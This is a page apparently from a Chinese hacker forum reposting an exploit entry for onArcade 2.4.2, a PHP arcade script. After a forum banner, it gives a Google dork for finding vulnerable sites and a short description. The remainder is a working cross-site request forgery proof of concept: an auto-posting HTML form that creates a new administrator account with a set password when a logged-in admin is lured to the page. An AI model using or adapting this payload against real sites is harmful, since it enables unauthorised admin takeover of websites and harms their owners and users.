游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

onArcade 2.4.2 - Cross-Site Request Forgery (Add Admin)

PHP,webapps,

发布于2022年11月4日2年前

 # Exploit Title: Cross-Site Request Forgery (Add Admin)
 # Google Dork: Powered by onArcade v2.4.2
 # Date: 2018/August/4
 # Author: r3m0t3nu11[Zero-way]
 # Software Link: ["http://www.onarcade.com"]
 # Version: ["Uptodate"]

the appilication is vulnerable to CSRF attack (No CSRF token in place) meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering).



[P0C]#

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://server/path/admin/members.php?a=add_member&ajax=1"method="POST">
      <input type="hidden" name="username" value="r3m0t3nu11" />
      <input type="hidden" name="email" value="l0v3rs14&#64;gmail&#46;com"/>
      <input type="hidden" name="password" value="123123" />
      <input type="hidden" name="user&#95;group" value="2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>